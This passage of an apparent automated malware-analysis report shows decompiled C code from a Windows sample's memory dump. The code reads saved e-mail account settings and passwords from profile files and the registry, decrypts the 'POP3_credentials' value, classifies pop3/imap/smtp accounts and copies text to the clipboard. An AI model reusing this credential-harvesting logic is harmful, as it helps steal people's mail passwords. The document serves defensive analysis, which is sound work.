Part of subcall function 004086DC: ??3@YAXPAX@Z.MSVCRT ref: 0040871E
Part of subcall function 004086DC: ??3@YAXPAX@Z.MSVCRT ref: 00408727

??2@YAPAXI@Z.MSVCRT ref: 004088FD
??2@YAPAXI@Z.MSVCRT ref: 00408919
memcpy.MSVCRT ref: 00408941
memcpy.MSVCRT ref: 0040895E
??2@YAPAXI@Z.MSVCRT ref: 004089E7
??2@YAPAXI@Z.MSVCRT ref: 004089F1
??2@YAPAXI@Z.MSVCRT ref: 00408A29

Part of subcall function 00407A69: LoadStringA.USER32 ref: 00407B32
Part of subcall function 00407A69: memcpy.MSVCRT ref: 00407B71

Part of subcall function 00407A69: strcpy.MSVCRT(004182C0,strings,?,?,0040898C,?,?,?,?,?,00000000,75144DE0), ref: 00407AE4
Part of subcall function 00407A69: strlen.MSVCRT ref: 00407B02

Strings

xA, xrefs: 0040892A, 00408946, 004089B1, 00408937, 00408951
d, xrefs: 00408A08

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@??3@$memcpy$LoadStringstrcpystrlen
String ID: d$xA
API String ID: 3781940870-3129348561
Opcode ID: 5a9e4da96f2f7e0bde87e55aae0f47c2a3c86f5c95d1692b49de27a05e9aa5de
Instruction ID: 74bd4705b90376de5a47ec474c9ee228b959cea471a61b54eb6c1cdd4b9bc2c0
Opcode Fuzzy Hash: 5a9e4da96f2f7e0bde87e55aae0f47c2a3c86f5c95d1692b49de27a05e9aa5de
Instruction Fuzzy Hash: 62515C71A01704AFD724DF39C58179ABBE4EF48354F10852EE59ADB381DB74A941CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00403127, Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 100
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00403127(void* __eax, intOrPtr _a4, char* _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v188;
				char _v268;
				char _v524;
				void* __ebx;
				void* __edi;
				char* _t53;
				void* _t60;
				void* _t65;
				char* _t70;

				_v8 = _v8 & 0x00000000;
				_t65 = __eax;
				 *((intOrPtr*)(__eax + 0x8c)) = 3;
				 *((intOrPtr*)(__eax + 0x210)) = 1;
				E004030F9(_a4, "UsesIMAP",  &_v524, 0xff, _a8);
				if(_v524 == 0x31) {
					 *((intOrPtr*)(_t65 + 0x210)) = 2;
				}
				_v12 = _t65 + 0x110;
				E004030F9(_a4, "PopServer", _t65 + 0x110, 0x7f, _a8);
				_t70 = _t65 + 0x214;
				E004030F9(_a4, "LoginName", _t70, 0x7f, _a8);
				E004030F9(_a4, "RealName", _t65 + 0xc, 0x7f, _a8);
				E004030F9(_a4, "ReturnAddress", _t65 + 0x90, 0x7f, _a8);
				E004030F9(_a4, "SavePasswordText",  &_v268, 0xff, _a8);
				if(_v268 != 0) {
					_v188 = 0;
					E00401D19( &_v268, _t65 + 0x294);
					if( *_t70 == 0) {
						_push(_a8);
						_t60 = 0x7f;
						_push(_t60);
						_push(_t70);
						_push("PopAccount");
						_push(_a4);
						E004030F9();
						if( *_t70 != 0) {
							_t53 = strchr(_t70, 0x40);
							_a8 = _t53;
							if(_t53 != 0) {
								E004060DA(_t60, _v12,  &(_t53[1]));
								 *_a8 = 0;
							}
						}
					}
					_v8 = 1;
				}
				if( *_t70 != 0) {
					_v8 = 1;
				}
				return _v8;
			}

0x00403130
0x0040313a
0x00403151
0x0040315b
0x00403165
0x00403171
0x00403173
0x00403173
0x00403191
0x00403194
0x0040319c
0x004031ad
0x004031c3
0x004031dc
0x004031f4
0x00403200
0x0040320e
0x00403215
0x0040321d
0x0040321f
0x00403224
0x00403225
0x00403226
0x00403227
0x0040322c
0x0040322f
0x00403237
0x0040323c
0x00403245
0x00403248
0x0040324f
0x00403258
0x00403258
0x00403248
0x00403237
0x0040325b
0x0040325b
0x00403268
0x0040326a
0x0040326a
0x00403275

APIs

Part of subcall function 004030F9: GetPrivateProfileStringA.KERNEL32(00000000,?,0041344F,?,?,?), ref: 0040311D

strchr.MSVCRT ref: 0040323C

Strings

1, xrefs: 0040316A
RealName, xrefs: 004031BB
ReturnAddress, xrefs: 004031D4
SavePasswordText, xrefs: 004031EC
LoginName, xrefs: 004031A5
PopServer, xrefs: 00403189
UsesIMAP, xrefs: 00403149
PopAccount, xrefs: 00403227

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: PrivateProfileStringstrchr
String ID: 1$LoginName$PopAccount$PopServer$RealName$ReturnAddress$SavePasswordText$UsesIMAP
API String ID: 1348940319-1729847305
Opcode ID: 4f3761682ac34aea950079ee6e15d32a83a9ea860df6d03b5968914b8edab4df
Instruction ID: 730259ebfdc93430ac8a7640b0a1394381beeb8186f258e339b1e1584fb818e0
Opcode Fuzzy Hash: 4f3761682ac34aea950079ee6e15d32a83a9ea860df6d03b5968914b8edab4df
Instruction Fuzzy Hash: FF31917150420ABEEF219F60CC06FD97F6CAF10359F10806AF558761D2CBB9AB949B54

Uniqueness

Uniqueness Score: -1.00%

Function 00408155, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00408155(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v259;
				char _v260;
				void _v4359;
				char _v4360;
				int _t17;
				CHAR* _t26;

				E00412360(0x1104, __ecx);
				_v4360 = 0;
				memset( &_v4359, 0, 0x1000);
				_t17 = GetDlgCtrlID(_a4);
				_t35 = _t17;
				GetWindowTextA(_a4,  &_v4360, 0x1000);
				if(_t17 > 0 && _v4360 != 0) {
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					GetClassNameA(_a4,  &_v260, 0xff);
					_t26 =  &_v260;
					_push("sysdatetimepick32");
					_push(_t26);
					L00412072();
					if(_t26 != 0) {
						E0040802D(_t35,  &_v4360);
					}
				}
				return 1;
			}

0x0040815d
0x00408175
0x0040817b
0x00408186
0x0040818c
0x00408199
0x004081a1
0x004081b9
0x004081bf
0x004081d2
0x004081d8
0x004081de
0x004081e3
0x004081e4
0x004081ed
0x004081f7
0x004081fd
0x004081ed
0x00408205

APIs

memset.MSVCRT ref: 0040817B
GetDlgCtrlID.USER32 ref: 00408186
GetWindowTextA.USER32 ref: 00408199
memset.MSVCRT ref: 004081BF
GetClassNameA.USER32(?,?,000000FF), ref: 004081D2
_stricmp.MSVCRT(?,sysdatetimepick32), ref: 004081E4

Part of subcall function 0040802D: _itoa.MSVCRT ref: 0040804E

Strings

sysdatetimepick32, xrefs: 004081DE

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$ClassCtrlNameTextWindow_itoa_stricmp
String ID: sysdatetimepick32
API String ID: 896699463-4169760276
Opcode ID: a7e83458ae8ab176729b938156b1736a97d8aa9ca8d765e96f30c653e7aaea31
Instruction ID: 8ec491919e3a594e32bcc0b3aeb202d37a515ee6f0006301200e52d8450d0196
Opcode Fuzzy Hash: a7e83458ae8ab176729b938156b1736a97d8aa9ca8d765e96f30c653e7aaea31
Instruction Fuzzy Hash: 2311EC7280511C7EE7119B54DD41EEB7BACEF19355F0400BBFA44E2152EA789FC48B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040596A, Relevance: 12.1, APIs: 8, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040596A(void** __eax, void* __edi, intOrPtr _a4, struct HWND__* _a8) {
				RECT* _v8;
				void* __esi;
				void* _t39;
				signed int _t41;
				void* _t42;
				struct HWND__* _t47;
				signed int _t53;
				void* _t54;
				signed int _t76;
				signed int _t78;
				void* _t80;
				void** _t82;
				signed int _t86;
				void* _t90;
				signed int _t91;

				_t80 = __edi;
				_push(_t58);
				_push(0xc);
				_v8 = 0;
				 *((intOrPtr*)(__edi + 0x10)) = __eax;
				L00412090();
				if(__eax == 0) {
					_t82 = 0;
				} else {
					 *((intOrPtr*)(__eax)) = 0;
					_t82 = __eax;
				}
				 *(_t80 + 0xc) = _t82;
				_t39 =  *_t82;
				_t90 = _t39;
				if(_t90 != 0) {
					_push(_t39);
					L00412096();
					 *_t82 = 0;
				}
				_t82[2] = _a8;
				_t41 = E00404A05(_a8);
				_t76 = 4;
				_t82[1] = _t41;
				_t42 = _t41 * _t76;
				_push( ~(0 | _t90 > 0x00000000) | _t42);
				L00412090();
				 *_t82 = _t42;
				memset(_t42, 0, _t82[1] << 2);
				E004085AB( *(_t80 + 0xc), ( *(_t80 + 0xc))[2]);
				_t91 =  *(_t80 + 0x10);
				if(_t91 == 0) {
					_t86 = ( *(_t80 + 0xc))[1];
					_t78 = 0x14;
					_t53 = _t86 * _t78;
					_push( ~(0 | _t91 > 0x00000000) | _t53);
					L00412090();
					 *(_t80 + 0x10) = _t53;
					if(_t86 > 0) {
						_t54 = 0;
						do {
							 *((intOrPtr*)(_t54 +  *(_t80 + 0x10) + 0xc)) = 0x78;
							_t54 = _t54 + 0x14;
							_t86 = _t86 - 1;
						} while (_t86 != 0);
					}
					_v8 = 1;
				}
				if(E004014EA(0x448, _t80, _a4) == 1) {
					E0040851B( *(_t80 + 0xc), ( *(_t80 + 0xc))[2]);
					InvalidateRect(( *(_t80 + 0xc))[2], 0, 0);
				}
				_t47 = SetFocus(_a8);
				if(_v8 != 0) {
					_push( *(_t80 + 0x10));
					L00412096();
				}
				return _t47;
			}

0x0040596a
0x0040596e
0x00405973
0x00405975
0x00405978
0x0040597b
0x00405983
0x0040598b
0x00405985
0x00405985
0x00405987
0x00405987
0x0040598d
0x00405990
0x00405992
0x00405994
0x00405996
0x00405997
0x0040599d
0x0040599d
0x004059a3
0x004059a6
0x004059b0
0x004059b1
0x004059b4
0x004059bd
0x004059be
0x004059cd
0x004059cf
0x004059dd
0x004059e2
0x004059e5
0x004059ea
0x004059f1
0x004059f4
0x004059fd
0x004059fe
0x00405a06
0x00405a09
0x00405a0b
0x00405a0d
0x00405a10
0x00405a18
0x00405a1b
0x00405a1b
0x00405a0d
0x00405a1e
0x00405a1e
0x00405a36
0x00405a3e
0x00405a4b
0x00405a4b
0x00405a54
0x00405a5d
0x00405a5f
0x00405a62
0x00405a67
0x00405a6b

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040597B
??3@YAXPAX@Z.MSVCRT ref: 00405997
??2@YAPAXI@Z.MSVCRT ref: 004059BE
memset.MSVCRT ref: 004059CF
??2@YAPAXI@Z.MSVCRT ref: 004059FE
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?), ref: 00405A4B
SetFocus.USER32(?,?,?,?), ref: 00405A54
??3@YAXPAX@Z.MSVCRT ref: 00405A62

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@$??3@$FocusInvalidateRectmemset
String ID:
API String ID: 2313361498-0
Opcode ID: a580d9142bc32eaab65664efd4de07b17d343628356770d299779b1e7220968e
Instruction ID: c9d5e52e17e49b2fdf2665c470f327c4663aeb176fcf1135955ad165868745cd
Opcode Fuzzy Hash: a580d9142bc32eaab65664efd4de07b17d343628356770d299779b1e7220968e
Instruction Fuzzy Hash: 113183B2600601AFDB249F79D985A2AF7A4FB08354710863FF55AD7290DB78AC50CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040649B, Relevance: 12.1, APIs: 8, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040649B(void* __edx, struct HWND__* _a4) {
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct HDC__* _t19;
				signed int _t32;
				int _t33;
				int _t35;
				int _t37;
				void* _t38;
				int _t39;
				intOrPtr _t40;
				intOrPtr _t45;

				_t38 = __edx;
				_t35 = GetSystemMetrics(0x11);
				_t39 = GetSystemMetrics(0x10);
				if(_t35 == 0 || _t39 == 0) {
					_t19 = GetDC(0);
					_v12 = _t19;
					_t39 = GetDeviceCaps(_t19, 8);
					_t35 = GetDeviceCaps(_v12, 0xa);
					ReleaseDC(0, _v12);
				}
				GetWindowRect(_a4,  &_v28);
				_t45 = _v28.right;
				_t40 = _v28.bottom;
				asm("cdq");
				asm("cdq");
				_t32 = _v28.top - _t40 + _t35 - 1 - _t38;
				_t37 = _v28.left - _t45 + _t39 - 1 - _t38 >> 1;
				_t33 = _t32 >> 1;
				if(_t32 < 0) {
					_t33 = 0;
				}
				if(_t37 < 0) {
					_t37 = 0;
				}
				return MoveWindow(_a4, _t37, _t33, _t45 - _v28.left + 1, _t40 - _v28.top + 1, 1);
			}

0x0040649b
0x004064b0
0x004064b6
0x004064b8
0x004064c0
0x004064cf
0x004064d9
0x004064e0
0x004064e4
0x004064e4
0x004064f1
0x004064fa
0x00406503
0x00406506
0x00406514
0x00406515
0x00406517
0x00406519
0x0040651b
0x0040651d
0x0040651d
0x00406521
0x00406523
0x00406523
0x00406540

APIs

GetSystemMetrics.USER32 ref: 004064AC
GetSystemMetrics.USER32 ref: 004064B2
GetDC.USER32(00000000), ref: 004064C0
GetDeviceCaps.GDI32(00000000,00000008), ref: 004064D2
GetDeviceCaps.GDI32(004012E4,0000000A), ref: 004064DB
ReleaseDC.USER32 ref: 004064E4
GetWindowRect.USER32 ref: 004064F1
MoveWindow.USER32(004012E4,?,?,?,?,00000001,?,?,?,?,?,?,004012E4,?), ref: 00406536

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CapsDeviceMetricsSystemWindow$MoveRectRelease
String ID:
API String ID: 1999381814-0
Opcode ID: 49d5a035e180b7af43cac72741eab6a6786db33261f0c5654e3a6ca50601d200
Instruction ID: ba7d715333d017d2103329686637bd52cca5eef1020c3fd7483cce7c10731540
Opcode Fuzzy Hash: 49d5a035e180b7af43cac72741eab6a6786db33261f0c5654e3a6ca50601d200
Instruction Fuzzy Hash: 1011A232A00219AFDF109FB8DC09BEF7FB9EB44351F054135EE06E3290DA70A9418A90

Uniqueness

Uniqueness Score: -1.00%

Function 00406073, Relevance: 12.0, APIs: 8, Instructions: 42
clipboardmemorystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406073(void* _a4) {
				signed int _t11;
				int _t13;
				void* _t17;
				signed int _t19;
				void* _t22;

				_t22 = _a4;
				_t19 = 0;
				EmptyClipboard();
				if(_t22 != 0) {
					_t2 = strlen(_t22) + 1; // 0x1
					_t13 = _t2;
					_t17 = GlobalAlloc(0x2000, _t13);
					if(_t17 != 0) {
						memcpy(GlobalLock(_t17), _t22, _t13);
						GlobalUnlock(_t17);
						_t11 = SetClipboardData(1, _t17);
						asm("sbb esi, esi");
						_t19 =  ~( ~_t11);
					}
				}
				CloseClipboard();
				return _t19;
			}

0x00406074
0x00406079
0x0040607b
0x00406083
0x0040608e
0x0040608e
0x0040609d
0x004060a1
0x004060ad
0x004060b6
0x004060bf
0x004060c9
0x004060cb
0x004060cb
0x004060ce
0x004060cf
0x004060d9

APIs

EmptyClipboard.USER32(?,?,0040AFC1,?), ref: 0040607B
strlen.MSVCRT ref: 00406088
GlobalAlloc.KERNEL32(00002000,00000001,?,?,?,?,0040AFC1,?), ref: 00406097
GlobalLock.KERNEL32 ref: 004060A4
memcpy.MSVCRT ref: 004060AD
GlobalUnlock.KERNEL32(00000000), ref: 004060B6
SetClipboardData.USER32 ref: 004060BF
CloseClipboard.USER32(?,?,0040AFC1,?), ref: 004060CF

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpystrlen
String ID:
API String ID: 3116012682-0
Opcode ID: c70b900a696f57a29a369809a0454994a779be389cf8b88d1f6a35ab18b15240
Instruction ID: d09f43d2fefddb7d7ea69405cde3b0bd2fff4912bca4764858ce7f0ae225efb5
Opcode Fuzzy Hash: c70b900a696f57a29a369809a0454994a779be389cf8b88d1f6a35ab18b15240
Instruction Fuzzy Hash: 09F090371402296BC2102FA4BC4CE9B7FACDF88B56B058139FA0AD2251DE74894486A9

Uniqueness

Uniqueness Score: -1.00%

Function 004071D6, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004071D6(void* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				short* _v16;
				unsigned int _v20;
				char* _v24;
				char _v28;
				char _v288;
				char _v544;
				char _v800;
				char _v1056;
				char _v1584;
				void _v2607;
				char _v2608;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t36;
				void* _t63;
				char* _t66;
				void* _t68;

				_t63 = __ecx;
				_v2608 = 0;
				memset( &_v2607, 0, 0x3ff);
				_v12 = 0x400;
				_v1056 = 0;
				_v800 = 0;
				_v544 = 0;
				_v288 = 0;
				_t36 = E0040F214(_t63, _a8, "POP3_credentials",  &_v2608,  &_v12);
				_t72 = _t36;
				if(_t36 != 0) {
					return _t36;
				}
				_t67 =  &_v1584;
				E004046E1( &_v1584);
				if(E004047AA( &_v1584, _t72) != 0) {
					_v24 =  &_v2608;
					_v28 = _v12;
					if(E0040481B(_t67,  &_v28, 0,  &_v20) != 0) {
						 *((char*)(_t68 + WideCharToMultiByte(0, 0, _v16, _v20 >> 1,  &_v544, 0xfd, 0, 0) - 0x21c)) = 0;
						LocalFree(_v16);
						E0040F1F1(0xff, _t63, _a8, "POP3_name",  &_v800);
						E0040F1F1(0xff, _t63, _a8, "POP3_host",  &_v288);
						_t66 =  &_v1056;
						E004060DA(0xff, _t66, _a12);
						 *((intOrPtr*)( *_a4))(_t66);
					}
				}
				return E004047FB( &_v1584);
			}

0x004071d6
0x004071f1
0x004071f7
0x0040720f
0x00407216
0x0040721c
0x00407222
0x00407228
0x0040722e
0x00407236
0x00407238
0x00407303
0x00407303
0x0040723e
0x00407244
0x00407250
0x0040725c
0x00407262
0x00407277
0x0040729b
0x004072a2
0x004072be
0x004072d4
0x004072dc
0x004072e2
0x004072f2
0x004072f2
0x00407277
0x00000000

APIs

memset.MSVCRT ref: 004071F7

Part of subcall function 0040F214: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,0040245F,?), ref: 0040F22A

Part of subcall function 004046E1: strcpy.MSVCRT ref: 00404730

Part of subcall function 004047AA: LoadLibraryA.KERNELBASE(?,0040DC6C,80000001,7554F420), ref: 004047B2
Part of subcall function 004047AA: GetProcAddress.KERNEL32(00000000,?), ref: 004047CA

WideCharToMultiByte.KERNEL32(00000000,00000000,?,0040738B,?,000000FD,00000000,00000000,?,00000000,0040738B,?,?,?,?,00000000), ref: 00407292
LocalFree.KERNEL32(?,?,?,?,?,00000000,7554ED80,?), ref: 004072A2

Part of subcall function 0040F1F1: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,0040F582,?,?,?,?,0040F582,00000000,?,?), ref: 0040F20C

Part of subcall function 004060DA: strlen.MSVCRT ref: 004060DF
Part of subcall function 004060DA: memcpy.MSVCRT ref: 004060F4

Strings

POP3_host, xrefs: 004072CA
POP3_credentials, xrefs: 00407207
POP3_name, xrefs: 004072AF

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$AddressByteCharFreeLibraryLoadLocalMultiProcWidememcpymemsetstrcpystrlen
String ID: POP3_credentials$POP3_host$POP3_name
API String ID: 604216836-2190619648
Opcode ID: ad9c5c80b0256c337c12dec900ec01b57eb9c2969be2bde46c98a81af137ee1a
Instruction ID: 7a8ee4d7bc4178ad58e78f2f27b608862355488638afca077fa6fa925b8dfb39
Opcode Fuzzy Hash: ad9c5c80b0256c337c12dec900ec01b57eb9c2969be2bde46c98a81af137ee1a
Instruction Fuzzy Hash: D8315075A4025DAFCB11EB69CC81ADE7BBCEB59344F0080B6FA04B3141D6349F598F65

Uniqueness

Uniqueness Score: -1.00%

Function 00408065, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408065(void* __ecx, void* __eflags, struct tagMENUITEMINFOA _a4, struct HMENU__* _a8, intOrPtr _a12, int _a20, intOrPtr _a24, char* _a40, int _a44, char _a52, void _a53) {
				int _v0;
				int _t26;
				char* _t32;
				int _t44;
				signed int _t46;
				signed int _t47;

				_t38 = __ecx;
				_t47 = _t46 & 0xfffffff8;
				E00412360(0x1040, __ecx);
				_t26 = GetMenuItemCount(_a8);
				_t44 = 0;
				_v0 = _t26;
				if(_t26 <= 0) {
					L13:
					return _t26;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a53, 0, 0x1000);
					_t47 = _t47 + 0xc;
					_a40 =  &_a52;
					_a4.cbSize = 0x30;
					_a8 = 0x36;
					_a44 = 0x1000;
					_a20 = 0;
					_a52 = 0;
					_t26 = GetMenuItemInfoA(_a8, _t44, 1,  &_a4);
					if(_t26 == 0) {
						goto L12;
					}
					if(_a52 == 0) {
						L10:
						_t55 = _a24;
						if(_a24 != 0) {
							_push(0);
							_push(_a24);
							_push(_a4.cbSize);
							_t26 = E00408065(_t38, _t55);
							_t47 = _t47 + 0xc;
						}
						goto L12;
					}
					_t32 = strchr( &_a52, 9);
					if(_t32 != 0) {
						 *_t32 = 0;
					}
					_t33 = _a20;
					if(_a24 != 0) {
						if(_a12 == 0) {
							 *0x4181b4 =  *0x4181b4 + 1;
							_t33 =  *0x4181b4 + 0x11558;
							__eflags =  *0x4181b4 + 0x11558;
						} else {
							_t18 = _t44 + 0x11171; // 0x11171
							_t33 = _t18;
						}
					}
					_t26 = E0040802D(_t33,  &_a52);
					_pop(_t38);
					goto L10;
					L12:
					_t44 = _t44 + 1;
				} while (_t44 < _v0);
				goto L13;
			}

0x00408065
0x00408068
0x00408070
0x0040807a
0x00408082
0x00408086
0x0040808a
0x0040814f
0x00408154
0x00000000
0x00000000
0x00000000
0x00408090
0x00408090
0x0040809b
0x004080a0
0x004080a7
0x004080b6
0x004080be
0x004080c6
0x004080ce
0x004080d2
0x004080d6
0x004080de
0x00000000
0x00000000
0x004080e4
0x0040812e
0x0040812e
0x00408132
0x00408134
0x00408135
0x00408139
0x0040813c
0x00408141
0x00408141
0x00000000
0x00408132
0x004080ed
0x004080f6
0x004080f8
0x004080f8
0x004080fe
0x00408102
0x00408107
0x00408111
0x0040811c
0x0040811c
0x00408109
0x00408109
0x00408109
0x00408109
0x00408107
0x00408127
0x0040812d
0x00000000
0x00408144
0x00408144
0x00408145
0x00000000

APIs

GetMenuItemCount.USER32 ref: 0040807A
memset.MSVCRT ref: 0040809B
GetMenuItemInfoA.USER32 ref: 004080D6
strchr.MSVCRT ref: 004080ED

Strings

6, xrefs: 004080BE
0, xrefs: 004080B6

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ItemMenu$CountInfomemsetstrchr
String ID: 0$6
API String ID: 2300387033-3849865405
Opcode ID: 7ff34ab211d6860bdd45bd88976f81f6822f66e3605e9fe9da3e2852f2fef4ac
Instruction ID: 51172b8e10bed5c2f97a320ed5cd446e6bfcd9d4694fda0f565c00a2b2434e31
Opcode Fuzzy Hash: 7ff34ab211d6860bdd45bd88976f81f6822f66e3605e9fe9da3e2852f2fef4ac
Instruction Fuzzy Hash: 7821D171108384AFC710CF65C981A9BB7E8FF88348F04453EF6C4AA280DB79D955CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004044E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004044E4(intOrPtr __ecx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v280;
				char _v408;
				intOrPtr _v412;
				char _v668;
				char _v796;
				intOrPtr _v800;
				char _v928;
				char _v940;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t44;
				intOrPtr _t50;
				void* _t56;
				intOrPtr _t58;
				void* _t63;

				_t63 = __fp0;
				_t50 = __ecx;
				_v8 = __ecx;
				E00402197( &_v940);
				_t58 = _a4;
				_v800 =  *((intOrPtr*)(_t50 + 0xd6c));
				_push(_t58 + 0x404);
				_t44 = 0x7f;
				E004060DA(_t44,  &_v796);
				E004060DA(_t44,  &_v408, _t58 + 0x204);
				E004060DA(_t44,  &_v928, _t58 + 4);
				E004060DA(_t44,  &_v668, _t58 + 0x104);
				_t37 = E004060DA(_t44,  &_v280, _t58 + 0x304);
				_t56 = _t58 + 0x504;
				_push("pop3");
				_push(_t56);
				L00412072();
				if(_t37 != 0) {
					_push("imap");
					_push(_t56);
					L00412072();
					if(_t37 != 0) {
						_push("smtp");
						_push(_t56);
						L00412072();
						if(_t37 == 0) {
							_v412 = 4;
						}
					} else {
						_v412 = 2;
					}
				} else {
					_v412 = 1;
				}
				_v24 =  *((intOrPtr*)(_t58 + 0x804));
				_v20 =  *((intOrPtr*)(_t58 + 0x808));
				return E004023C6( &_v940, _t63, _v8 + 0xfffffe38);
			}

0x004044e4
0x004044f0
0x004044f8
0x004044fb
0x00404506
0x00404509
0x00404515
0x00404518
0x0040451f
0x00404531
0x00404540
0x00404552
0x00404564
0x00404569
0x0040456f
0x00404574
0x00404575
0x0040457f
0x0040458d
0x00404592
0x00404593
0x0040459c
0x004045aa
0x004045af
0x004045b0
0x004045b9
0x004045bb
0x004045bb
0x0040459e
0x0040459e
0x0040459e
0x00404581
0x00404581
0x00404581
0x004045cb
0x004045d4
0x004045ef

APIs

Part of subcall function 004060DA: strlen.MSVCRT ref: 004060DF
Part of subcall function 004060DA: memcpy.MSVCRT ref: 004060F4

_stricmp.MSVCRT(?,pop3,?,?,?,?,?), ref: 00404575
_stricmp.MSVCRT(?,imap), ref: 00404593

Strings

smtp, xrefs: 004045AA
pop3, xrefs: 0040456F
imap, xrefs: 0040458D

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _stricmp$memcpystrlen
String ID: imap$pop3$smtp
API String ID: 445763297-821077329
Opcode ID: d315b1c60be8e06bf8a74a29e861cd8fd0a859a3471b1e5e64c4e0a482ae2628
Instruction ID: 5d3aebf2a9f6afee3de7fcc7c39c9e230d3229a718a14b09e3d1f3abdf4e177e
Opcode Fuzzy Hash: d315b1c60be8e06bf8a74a29e861cd8fd0a859a3471b1e5e64c4e0a482ae2628
Instruction Fuzzy Hash: 842151B3500318AFD711DB61CD42BDAB7F8AF54304F10056BE649B3181DB787B858B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040687C, Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 62
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040687C(char* __ebx, intOrPtr _a4, int _a8) {
				char _v8;
				void _v1031;
				void _v1032;
				void* _t26;
				char* _t27;
				int _t32;
				int _t38;
				char* _t43;
				int _t44;
				void* _t45;
				void** _t48;
				void* _t50;
				void* _t51;

				_t43 = __ebx;
				_t44 = 0;
				_v1032 = 0;
				memset( &_v1031, 0, 0x3ff);
				_t26 = _a8;
				_t51 = _t50 + 0xc;
				 *__ebx = 0;
				if(_t26 > 0) {
					_t48 = _a4 + 4;
					_v8 = _t26;
					do {
						sprintf( &_v1032, "%s (%s)",  *((intOrPtr*)(_t48 - 4)),  *_t48);
						_t32 = strlen( &_v1032);
						_a8 = _t32;
						memcpy(_t44 + __ebx,  &_v1032, _t32 + 1);
						_t45 = _t44 + _a8 + 1;
						_t38 = strlen( *_t48);
						_a8 = _t38;
						memcpy(_t45 + __ebx,  *_t48, _t38 + 1);
						_t51 = _t51 + 0x30;
						_t48 =  &(_t48[2]);
						_t18 =  &_v8;
						 *_t18 = _v8 - 1;
						_t44 = _t45 + _a8 + 1;
					} while ( *_t18 != 0);
				}
				_t27 = _t44 + _t43;
				 *_t27 = 0;
				 *((char*)(_t27 + 1)) = 0;
				return _t43;
			}

0x0040687c
0x0040688b
0x00406895
0x0040689c
0x004068a1
0x004068a4
0x004068a9
0x004068ac
0x004068b2
0x004068b5
0x004068b8
0x004068c9
0x004068d5
0x004068da
0x004068ea
0x004068f4
0x004068f8
0x004068fd
0x00406908
0x00406910
0x00406913
0x00406916
0x00406916
0x00406919
0x00406919
0x0040691f
0x00406920
0x00406923
0x00406926
0x0040692e

APIs

memset.MSVCRT ref: 0040689C
sprintf.MSVCRT ref: 004068C9
strlen.MSVCRT ref: 004068D5
memcpy.MSVCRT ref: 004068EA
strlen.MSVCRT ref: 004068F8
memcpy.MSVCRT ref: 00406908

Strings

%s (%s), xrefs: 004068C3

Memory Dump Source

